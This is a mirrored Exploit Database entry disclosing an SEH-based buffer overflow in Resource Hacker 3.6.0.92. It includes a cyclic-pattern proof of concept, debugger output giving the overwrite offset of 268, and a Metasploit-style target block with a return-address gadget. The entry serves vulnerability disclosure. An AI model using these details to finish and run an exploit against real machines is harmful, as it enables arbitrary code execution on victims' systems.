Resource Hacker v3.6.0.92 – Buffer overflow

• Exploit Database
• 34 阅读

• 作者： Rafael Pedrero
  日期： 2023-03-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51079/

• # Exploit Title: Resource Hacker 3.6.0.92 - Buffer overflow
  # Discovery by: Rafael Pedrero
  # Discovery Date: 2022-01-06
  # Vendor Homepage: http://www.angusj.com/resourcehacker/
  # Software Link : http://www.angusj.com/resourcehacker/
  # Tested Version: 3.6.0.92
  # Tested on:Windows 10
  
  CVSS v3: 7.3
  CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
  CWE: CWE-119
  
  Heap-based buffer overflow controlling the Structured Exception Handler
  (SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,
  may allow attackers to execute arbitrary code via a long file name argument.
  
  Proof of concept:
  
  Open ResHacker.exe from command line with a large string in Arguments, more
  than 268 chars:
  
  File 'C:\ResourceHacker36\ResHacker.exe'
  Arguments
  'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac...'
  
  SEH chain of main thread
  AddressSE handler
  0018FCB4 316A4130
  6A413969 *** CORRUPT ENTRY ***
  
  0BADF00D [+] Examining SEH chain
  0BADF00D SEH record (nseh field) at 0x0018fcb4 overwritten with
  normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic
  data after the handler
  
  0BADF00D ------------------------------
  'Targets'=>
  [
  [ '<fill in the OS/app version here>',
  {
   'Ret' =>0x00426446, #
  pop eax # pop ebx # ret- ResHacker.exe (change this value from Mona,
  with a not \x00 ret address)
   'Offset'=>268
  }
  ],
  ],